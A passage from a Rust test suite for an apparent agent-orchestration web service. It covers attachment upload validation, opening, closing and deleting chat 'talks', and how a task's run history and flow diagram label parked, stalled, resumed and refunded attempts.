14983                &format!("/api/talks/{id}/attachments"),
14984                &[("Content-Type", "image/png")],
14985                &oversized,
14986            )
14987            .await;
14988        assert_eq!(
14989            big.status,
14990            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14991            "{}",
14992            big.body
14993        );
14994    }
14995
14996    #[tokio::test]
14997    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14998        let f = Fixture::start().await;
14999        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15000
15001        // A whitelisted `Content-Type`, but bytes that are not actually a
15002        // png - the declared header alone is never trusted.
15003        let res = f
15004            .post_bytes(
15005                &format!("/api/talks/{id}/attachments"),
15006                &[("Content-Type", "image/png")],
15007                b"<html>not a picture</html>",
15008            )
15009            .await;
15010        assert!((400..500).contains(&res.status), "{}", res.body);
15011    }
15012
15013    #[tokio::test]
15014    async fn an_unknown_attachment_id_is_a_404() {
15015        let f = Fixture::start().await;
15016        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15017
15018        let res = f
15019            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15020            .await;
15021        assert_eq!(res.status, 404, "{}", res.body);
15022    }
15023
15024    #[tokio::test]
15025    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15026        let f = Fixture::start().await;
15027        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15028
15029        let uploaded = f
15030            .post_bytes(
15031                &format!("/api/talks/{id}/attachments"),
15032                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15033                PNG_BYTES,
15034            )
15035            .await;
15036        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15037        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15038
15039        let res = f
15040            .post(
15041                &format!("/api/talks/{id}/say"),
15042                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15043            )
15044            .await;
15045        assert_eq!(res.status, 202, "{}", res.body);
15046        let queued = res.json();
15047        let turns = queued["turns"].as_array().expect("turns array");
15048        assert_eq!(
15049            turns.len(),
15050            1,
15051            "an empty body with an attachment is still a turn: {queued}"
15052        );
15053        assert_eq!(turns[0]["who"], "operator");
15054        assert_eq!(turns[0]["body"], "");
15055        let atts = turns[0]["attachments"]
15056            .as_array()
15057            .expect("attachments array");
15058        assert_eq!(atts.len(), 1);
15059        assert_eq!(atts[0]["id"], att_id);
15060        assert_eq!(atts[0]["mime"], "image/png");
15061
15062        // Not only in the response: `record` flushes to disk before the
15063        // agent's own turn is even spawned.
15064        let on_disk = f.talks().get(&id).expect("get");
15065        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15066        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15067    }
15068
15069    #[tokio::test]
15070    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15071        let f = Fixture::start().await;
15072        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15073
15074        let res = f
15075            .post(
15076                &format!("/api/talks/{id}/say"),
15077                Some(&format!(
15078                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15079                    "a".repeat(32)
15080                )),
15081            )
15082            .await;
15083        assert!((400..500).contains(&res.status), "{}", res.body);
15084        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15085
15086        let on_disk = f.talks().get(&id).expect("get");
15087        assert!(
15088            on_disk.turns.is_empty(),
15089            "a rejected attachment id must not partially record the turn: {:?}",
15090            on_disk.turns
15091        );
15092    }
15093
15094    #[tokio::test]
15095    async fn talk_close_makes_the_talk_refuse_further_turns() {
15096        let f = Fixture::start().await;
15097        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15098
15099        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15100        assert_eq!(closed.status, 200, "{}", closed.body);
15101        assert_eq!(closed.json()["status"], "closed");
15102
15103        // Idempotent: closing an already-closed talk is not an error.
15104        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15105        assert_eq!(closed_again.status, 200);
15106        assert_eq!(closed_again.json()["status"], "closed");
15107
15108        let said = f
15109            .post(
15110                &format!("/api/talks/{id}/say"),
15111                Some(r#"{"text":"too late"}"#),
15112            )
15113            .await;
15114        assert_eq!(said.status, 409, "{}", said.body);
15115    }
15116
15117    #[tokio::test]
15118    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15119        let (_tmp, _repo, f) = talk_fixture().await;
15120        let id = f.post("/api/talks", None).await.json()["id"]
15121            .as_str()
15122            .expect("id")
15123            .to_owned();
15124        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15125        assert_eq!(closed.status, 200, "{}", closed.body);
15126
15127        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15128        assert_eq!(reopened.status, 200, "{}", reopened.body);
15129        assert_eq!(reopened.json()["status"], "open");
15130
15131        // Idempotent: reopening an already-open talk is not an error.
15132        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15133        assert_eq!(reopened_again.status, 200);
15134        assert_eq!(reopened_again.json()["status"], "open");
15135
15136        let said = f
15137            .post(
15138                &format!("/api/talks/{id}/say"),
15139                Some(r#"{"text":"still there?"}"#),
15140            )
15141            .await;
15142        assert_eq!(
15143            said.status, 202,
15144            "a reopened talk accepts turns again: {}",
15145            said.body
15146        );
15147    }
15148
15149    #[tokio::test]
15150    async fn talk_reopen_on_an_unknown_id_is_404() {
15151        let f = Fixture::start().await;
15152        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15153        assert_eq!(res.status, 404, "{}", res.body);
15154    }
15155
15156    #[tokio::test]
15157    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15158        let f = Fixture::start().await;
15159        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15160
15161        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15162        assert_eq!(deleted.status, 204, "{}", deleted.body);
15163
15164        let after = f.get(&format!("/api/talks/{id}")).await;
15165        assert_eq!(after.status, 404, "{}", after.body);
15166
15167        let listed = f.get("/api/talks").await.json();
15168        assert!(
15169            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15170            "a deleted talk must not linger in the list: {listed}"
15171        );
15172    }
15173
15174    #[tokio::test]
15175    async fn talk_delete_on_an_unknown_id_is_404() {
15176        let f = Fixture::start().await;
15177        let res = f.delete("/api/talks/nonexistent-id").await;
15178        assert_eq!(res.status, 404, "{}", res.body);
15179    }
15180
15181    /// A task's page lists every run it ever had, in order, and says what kind
15182    /// of attempt each was - including a resume, which re-pushes the same run
15183    /// id, and a run whose record this build cannot read.
15184    #[tokio::test]
15185    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15186        let f = Fixture::start().await;
15187        let (a, b, gone) = (
15188            "20260902-140501-aaaa",
15189            "20260902-140502-bbbb",
15190            "20260902-140503-cccc",
15191        );
15192        write_run(&f.runs(), a, RunStatus::Stalled);
15193        let mut review = RunState::new(
15194            PathBuf::from("/repo/magi"),
15195            "main".to_owned(),
15196            "0123456789abcdef".to_owned(),
15197            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15198                .to_owned(),
15199            Config::default(),
15200        );
15201        review.id = b.to_owned();
15202        review.status = RunStatus::Merged;
15203        write_state(&f.runs(), &review);
15204
15205        let mut task = Task::new(
15206            "retry".to_owned(),
15207            "Do the thing".to_owned(),
15208            PathBuf::from("/repo/magi"),
15209            Source::Human,
15210        );
15211        task.start(a.to_owned());
15212        task.stall("quota");
15213        task.start(a.to_owned());
15214        task.start(b.to_owned());
15215        task.start(gone.to_owned());
15216        // This fixture models an older queue file with repeated run entries.
15217        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15218        f.queue().put(&mut task).expect("file the task");
15219
15220        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15221        assert_eq!(res.status, 200, "{}", res.body);
15222        let v = res.json();
15223        let h = v["history"].as_array().expect("history");
15224        assert_eq!(h.len(), 4, "{v}");
15225        assert_eq!(h[0]["kind"], "competition");
15226        assert_eq!(h[0]["status"], "stalled");
15227        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15228        assert_eq!(h[1]["kind"], "resume", "{v}");
15229        assert!(
15230            h[0]["outcome"]
15231                .as_str()
15232                .unwrap()
15233                .contains("unknown. Pass #2"),
15234            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15235        );
15236        assert!(
15237            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15238            "{v}"
15239        );
15240        assert!(
15241            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15242            "an unrecorded cause must not be narrated as an operator park: {v}"
15243        );
15244        assert_eq!(h[2]["kind"], "review");
15245        assert!(
15246            h[2]["description"]
15247                .as_str()
15248                .unwrap()
15249                .contains("magi/aaaa/A")
15250        );
15251        assert_eq!(h[2]["status"], "merged");
15252        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15253        assert_eq!(v["runs_unreadable"], 1);
15254        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15255        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15256        assert_eq!(nodes[4]["note"], "unreadable");
15257        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15258        assert_eq!(v["instruction"], "Do the thing");
15259        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15260
15261        // The run's own page links back to the task.
15262        let run = f.get(&format!("/api/runs/{a}")).await.json();
15263        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15264
15265        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15266    }
15267
15268    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15269        let mut s = RunState::new(
15270            PathBuf::from("/repo/magi"),
15271            "main".to_owned(),
15272            "0123456789abcdef".to_owned(),
15273            "Do it".to_owned(),
15274            Config::default(),
15275        );
15276        s.status = status;
15277        edit(&mut s);
15278        s
15279    }
15280
15281    fn flow_task(runs: &[&str]) -> Task {
15282        let mut t = Task::new(
15283            "t".to_owned(),
15284            "Do it".to_owned(),
15285            PathBuf::from("/repo/magi"),
15286            Source::Human,
15287        );
15288        for r in runs {
15289            t.start((*r).to_owned());
15290        }
15291        // Synthetic flows without RunPass records model legacy queue data.
15292        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15293        t
15294    }
15295
15296    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15297        let h = task_history(task, |id| {
15298            states
15299                .iter()
15300                .find(|(i, _)| *i == id)
15301                .and_then(|(_, s)| s.clone())
15302        });
15303        task_flow(task, &h, 5, None)
15304    }
15305
15306    #[test]
15307    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15308        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15309        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15310        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15311        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15312        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15313        let run = flow_run(RunStatus::Implementing, |s| {
15314            s.created_at = created;
15315            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15316            s.passes[0].started_at = first;
15317            s.passes[1].started_at = resumed;
15318        });
15319        let mut task = flow_task(&[RUN_X, RUN_X]);
15320        task.created_at = queued;
15321        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15322        task.status = TaskStatus::Held;
15323        task.held_at = Some(held);
15324        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15325        assert_eq!(
15326            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15327            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15328        );
15329        assert!(flow.nodes.iter().all(|n| n.time_expected));
15330        let json = serde_json::to_value(&flow).unwrap();
15331        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15332        assert_eq!(json["nodes"][2]["time_expected"], true);
15333    }
15334
15335    #[test]
15336    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15337        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15338        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15339        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15340        // These timestamps are not the start of the current status.
15341        task.held_at = Some(created);
15342        task.blocked_at = Some(created);
15343        for status in [
15344            TaskStatus::Queued,
15345            TaskStatus::Running,
15346            TaskStatus::Blocked,
15347            TaskStatus::Done,
15348            TaskStatus::Failed,
15349            TaskStatus::Parked,
15350            TaskStatus::Held,
15351        ] {
15352            task.status = status;
15353            if status == TaskStatus::Held {
15354                task.held_at = None;
15355            }
15356            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15357            assert_eq!(flow.nodes[1].started_at, Some(created));
15358            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15359            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15360            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15361            let json = serde_json::to_value(&flow).unwrap();
15362            assert!(json["nodes"][3]["started_at"].is_null());
15363            assert_eq!(json["nodes"][3]["time_expected"], true);
15364        }
15365    }
15366
15367    #[test]
15368    fn flow_context_links_do_not_expect_start_times() {
15369        let mut task = flow_task(&[]);
15370        task.source = Source::Agent {
15371            run: "chat-id".to_owned(),
15372            node: "chat".to_owned(),
15373        };
15374        let origin = followup_origin(&fu(None), |_| None, |_| None);
15375        let flow = task_flow(&task, &[], 5, Some(&origin));
15376        for node in &flow.nodes[..2] {
15377            assert!(!node.time_expected);
15378            assert_eq!(node.started_at, None);
15379        }
15380        assert!(flow.nodes[2].time_expected);
15381    }
15382
15383    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15384        crate::queue::FollowUp {
15385            run: "20260901-000000-aaaa".to_owned(),
15386            origin_task: origin_task.map(str::to_owned),
15387            pr: "https://example.com/o/r/pull/1".to_owned(),
15388            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15389                .map(str::to_owned)
15390                .to_vec(),
15391            generation: 1,
15392        }
15393    }
15394
15395    fn parent_task() -> Task {
15396        let mut p = flow_task(&[]);
15397        p.title = "Parent title".to_owned();
15398        p.status = TaskStatus::Done;
15399        p
15400    }
15401
15402    #[test]
15403    fn flow_opens_with_the_parent_task_of_a_followup() {
15404        let p = parent_task();
15405        let pid = p.id.clone();
15406        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15407        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15408        let n = &f.nodes[0];
15409        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15410        assert_eq!(
15411            n.label,
15412            format!("Follow-up of {}", crate::queue::short(&pid))
15413        );
15414        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15415        assert_eq!(n.status, Some("done"));
15416        assert_eq!(n.status_of, "task");
15417        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15418        assert_eq!(f.nodes[1].key, "start");
15419        assert_eq!(f.edges[0].from, "origin");
15420        assert_eq!(
15421            f.edges[0].label,
15422            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15423        );
15424    }
15425
15426    #[test]
15427    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15428        let o = followup_origin(
15429            &fu(Some("gone")),
15430            |_| None,
15431            |_| {
15432                Some(RunState::new(
15433                    std::path::PathBuf::from("."),
15434                    "main".to_owned(),
15435                    "0".to_owned(),
15436                    "t".to_owned(),
15437                    crate::config::Config::default(),
15438                ))
15439            },
15440        );
15441        assert!(o.parent.is_none());
15442        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15443        let n = &f.nodes[0];
15444        assert_eq!(n.status_of, "run");
15445        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15446        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15447    }
15448
15449    #[test]
15450    fn flow_followup_with_nothing_readable_has_no_link() {
15451        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15452        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15453        let n = &f.nodes[0];
15454        assert_eq!(n.href, None);
15455        assert_eq!(n.note, Some("unreadable"));
15456        assert!(!n.readable);
15457    }
15458
15459    #[test]
15460    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15461        let o = followup_origin(&fu(None), |_| None, |_| None);
15462        let mut t = flow_task(&[]);
15463        t.origin_chat = Some("c1".to_owned());
15464        let f = task_flow(&t, &[], 5, Some(&o));
15465        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15466        t.source = Source::Agent {
15467            run: "c1".to_owned(),
15468            node: crate::queue::CHAT_NODE.to_owned(),
15469        };
15470        let f = task_flow(&t, &[], 5, Some(&o));
15471        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15472        assert_eq!(
15473            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15474            ("chat", "origin")
15475        );
15476    }
15477
15478    #[test]
15479    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15480        let mut p = parent_task();
15481        p.id = "a b/c".to_owned();
15482        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15483        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15484    }
15485
15486    #[test]
15487    fn flow_opens_with_the_chat_that_queued_the_task() {
15488        let mut t = flow_task(&[]);
15489        t.source = Source::Agent {
15490            run: "a b/c".to_owned(),
15491            node: crate::queue::CHAT_NODE.to_owned(),
15492        };
15493        let f = flow_for(&t, &[]);
15494        assert_eq!(f.nodes[0].key, "chat");
15495        assert_eq!(f.nodes[0].kind, "chat");
15496        assert_eq!(
15497            f.nodes[0].label,
15498            format!("Chat {}", crate::queue::short("a b/c"))
15499        );
15500        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15501        assert_eq!(f.nodes[1].key, "start");
15502        assert_eq!(
15503            f.edges[0],
15504            FlowEdge {
15505                from: "chat".to_owned(),
15506                to: "start".to_owned(),
15507                label: "queued from chat".to_owned(),
15508                attempt: AttemptCost::None,
15509            }
15510        );
15511    }
15512
15513    #[test]
15514    fn flow_has_no_chat_box_for_other_sources() {
15515        for source in [
15516            Source::Human,
15517            Source::Issue {
15518                number: 3,
15519                repo: "o/r".to_owned(),
15520            },
15521            Source::Agent {
15522                run: "20260904-014455-ab12".to_owned(),
15523                node: "implement".to_owned(),
15524            },
15525        ] {
15526            let mut t = flow_task(&[]);
15527            t.source = source;
15528            let f = flow_for(&t, &[]);
15529            assert_eq!(f.nodes[0].key, "start");
15530            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15531            assert!(f.edges.iter().all(|e| e.from != "chat"));
15532        }
15533    }
15534
15535    const FA: &str = "20260902-140501-aaaa";
15536    const FB: &str = "20260902-140502-bbbb";
15537
15538    #[test]
15539    fn flow_follows_blocked_retry_merged_to_done() {
15540        let mut t = flow_task(&[FA, FB]);
15541        t.status = TaskStatus::Done;
15542        let f = flow_for(
15543            &t,
15544            &[
15545                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15546                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15547            ],
15548        );
15549        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15550        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15551        assert_eq!(f.edges.len(), 3);
15552        assert_eq!(f.edges[0].label, "claimed");
15553        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15554        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15555        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15556        assert_eq!(
15557            f.nodes[2].href.as_deref(),
15558            Some("#/runs/20260902-140502-bbbb")
15559        );
15560        assert!(f.nodes[2].decided);
15561    }
15562
15563    #[test]
15564    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15565        let quota = || {
15566            flow_run(RunStatus::Stalled, |s| {
15567                s.quota.push(crate::run::QuotaLoss {
15568                    seat: "judge-1".to_owned(),
15569                    node: "judge".to_owned(),
15570                    at: Timestamp::now(),
15571                    reset: None,
15572                })
15573            })
15574        };
15575        let mut t = flow_task(&[FA, FA]);
15576        t.status = TaskStatus::Queued;
15577        let f = flow_for(&t, &[(FA, Some(quota()))]);
15578        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15579        assert_eq!(f.nodes[1].note, Some("interrupted"));
15580        assert_eq!(
15581            f.nodes[1].status, None,
15582            "no outcome copied onto an earlier pass"
15583        );
15584        assert_eq!(
15585            f.edges[1].attempt,
15586            AttemptCost::Unknown,
15587            "a resume does not prove the earlier pass was refunded"
15588        );
15589        assert!(f.edges[1].label.contains("resume the same run"));
15590        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15591        assert_eq!(
15592            f.edges[2].label,
15593            "stalled after a resume, refund unknown \u{2192} queued"
15594        );
15595        assert!(!f.nodes[2].decided, "a stall is not a decision");
15596        assert_eq!(f.nodes[2].note, Some("no verdict"));
15597    }
15598
15599    #[test]
15600    fn flow_single_pass_quota_stall_is_refunded() {
15601        let t = flow_task(&[FA]);
15602        let f = flow_for(
15603            &t,
15604            &[(
15605                FA,
15606                Some(flow_run(RunStatus::Stalled, |s| {
15607                    s.quota.push(crate::run::QuotaLoss {
15608                        seat: "judge-1".to_owned(),
15609                        node: "judge".to_owned(),
15610                        at: Timestamp::now(),
15611                        reset: None,
15612                    })
15613                })),
15614            )],
15615        );
15616        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15617    }
15618
15619    #[test]
15620    fn flow_parked_refunds_and_stall_without_quota_spends() {
15621        let mut t = flow_task(&[FA]);
15622        t.status = TaskStatus::Queued;
15623        let f = flow_for(
15624            &t,
15625            &[(
15626                FA,
15627                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15628            )],
15629        );
15630        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15631        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15632        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15633        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15634        assert!(!f.nodes[1].decided);
15635    }
15636
15637    #[test]
15638    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15639        let t = flow_task(&[FA, FB]);
15640        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15641        assert_eq!(f.nodes[1].note, Some("unreadable"));
15642        assert!(!f.nodes[1].readable);
15643        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15644        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15645    }
15646
15647    #[test]
15648    fn flow_names_the_branch_of_a_review_only_run() {
15649        let t = flow_task(&[FA]);
15650        let f = flow_for(
15651            &t,
15652            &[(
15653                FA,
15654                Some(flow_run(RunStatus::Merged, |s| {
15655                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15656                })),
15657            )],
15658        );
15659        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15660        assert_eq!(
15661            f.nodes[1].detail.as_deref(),
15662            Some("review-only run of branch magi/x/A")
15663        );
15664    }
15665
15666    #[test]
15667    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15668        let mut t = flow_task(&[FA]);
15669        t.status = TaskStatus::Held;
15670        let pr = crate::run::PrRecord {
15671            url: "https://example.test/pr/1".to_owned(),
15672            number: 1,
15673            state: "open".to_owned(),
15674            checks: "green".to_owned(),
15675            round: 0,
15676            rounds: 3,
15677            red_at_merge: Vec::new(),
15678        };
15679        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15680        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15681        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15682        t.status = TaskStatus::Done;
15683        let f = flow_for(&t, &[(FA, Some(blocked))]);
15684        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15685    }
15686
15687    #[test]
15688    fn flow_with_no_runs_goes_from_queued_to_queued() {
15689        let t = flow_task(&[]);
15690        let f = flow_for(&t, &[]);
15691        assert_eq!(f.nodes.len(), 2);
15692        assert_eq!(f.edges.len(), 1);
15693        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15694        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15695    }
15696
15697    /// A run parked mid-flight keeps a non-terminal status; the page must
15698    /// still say why it stopped and that the attempt came back.
15699    #[test]
15700    fn a_parked_non_terminal_run_is_explained_as_parked() {
15701        let mut s = RunState::new(
15702            PathBuf::from("/repo/magi"),
15703            "main".to_owned(),
15704            "0123456789abcdef".to_owned(),
15705            "Do it".to_owned(),
15706            Config::default(),
15707        );
15708        s.status = RunStatus::Implementing;
15709        s.parked = true;
15710        let task = Task::new(
15711            "t".to_owned(),
15712            "Do it".to_owned(),
15713            PathBuf::from("/repo/magi"),
15714            Source::Human,
15715        );
15716        let v = task_run_view(
15717            "20260902-140501-aaaa",
15718            Some(&s),
15719            RunSlot {
15720                n: 1,
15721                resumed: false,
15722                resumed_later: None,
15723                prior: None,
15724                last: true,
15725                ..RunSlot::default()
15726            },
15727            &task,
15728        );
15729        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15730    }
15731
15732    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15733        let mut s = flow_run(RunStatus::Implementing, edit);
15734        s.parked = false;
15735        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15736        task_run_view(
15737            "20260902-140501-aaaa",
15738            Some(&s),
15739            RunSlot {
15740                n: 1,
15741                resumed: false,
15742                resumed_later: Some(2),
15743                prior: None,
15744                last: false,
15745                ..RunSlot::default()
15746            },
15747            &task,
15748        )
15749    }
15750
15751    #[test]
15752    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15753        let v = earlier_pass_view(|_| {});
15754        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15755        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15756        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15757        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15758        assert_eq!(v.exit, RunExit::Interrupted);
15759        assert_eq!(v.attempt, AttemptCost::Unknown);
15760    }
15761
15762    #[test]
15763    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15764        let v = earlier_pass_view(|s| {
15765            s.quota.push(crate::run::QuotaLoss {
15766                seat: "judge-1".to_owned(),
15767                node: "judge".to_owned(),
15768                at: Timestamp::now(),
15769                reset: None,
15770            });
15771        });
15772        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15773        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15774        assert_eq!(v.attempt, AttemptCost::Unknown);
15775    }
15776
15777    #[test]
15778    fn the_current_pass_states_its_recorded_cause_and_cost() {
15779        let slot = || RunSlot {
15780            n: 1,
15781            resumed: false,
15782            resumed_later: None,
15783            prior: None,
15784            last: true,
15785            ..RunSlot::default()
15786        };
15787        let task = flow_task(&["20260902-140501-aaaa"]);
15788        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15789        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15790        assert_eq!(
15791            (v.exit, v.attempt),
15792            (RunExit::Parked, AttemptCost::Refunded)
15793        );
15794        let spent = flow_run(RunStatus::Blocked, |_| {});
15795        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15796        assert_eq!(v.attempt, AttemptCost::Spent);
15797        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15798    }
15799
15800    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15801        crate::run::RunPass {
15802            index,
15803            started_at: Timestamp::now(),
15804            resumed: index > 0,
15805            ended_at: end.as_ref().map(|_| Timestamp::now()),
15806            end,
15807            task_entry: true,
15808        }
15809    }
15810
15811    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15812        Some(crate::run::PassEnd::Parked { cause })
15813    }
15814
15815    fn upgrade_cause() -> crate::run::ParkCause {
15816        crate::run::ParkCause::Upgrade {
15817            from: "0.121.0".to_owned(),
15818            to: Some("0.121.1".to_owned()),
15819        }
15820    }
15821
15822    fn settled_pass(
15823        run: &str,
15824        index: usize,
15825        cost: crate::queue::PassCost,
15826    ) -> crate::queue::TaskPass {
15827        crate::queue::TaskPass {
15828            run: run.to_owned(),
15829            pass_index: index,
15830            cost,
15831            attempts_after: 1,
15832            settled_at: Timestamp::now(),
15833            parked: None,
15834        }
15835    }
15836
15837    const RUN_X: &str = "20261011-223708-4334";
15838
15839    #[test]
15840    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15841        use crate::queue::PassCost;
15842        let run = flow_run(RunStatus::Implementing, |s| {
15843            s.passes = vec![
15844                recorded_pass(0, parked(upgrade_cause())),
15845                recorded_pass(1, None),
15846            ];
15847        });
15848        let mut task = flow_task(&[RUN_X, RUN_X]);
15849        task.attempts = 1;
15850        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15851        let h = task_history(&task, |_| Some(run.clone()));
15852        assert_eq!(h.len(), 2);
15853        assert_eq!(h[0].kind, "competition");
15854        assert_eq!(h[1].kind, "resume");
15855        assert_eq!(
15856            (h[0].exit, h[0].attempt),
15857            (RunExit::Parked, AttemptCost::Refunded)
15858        );
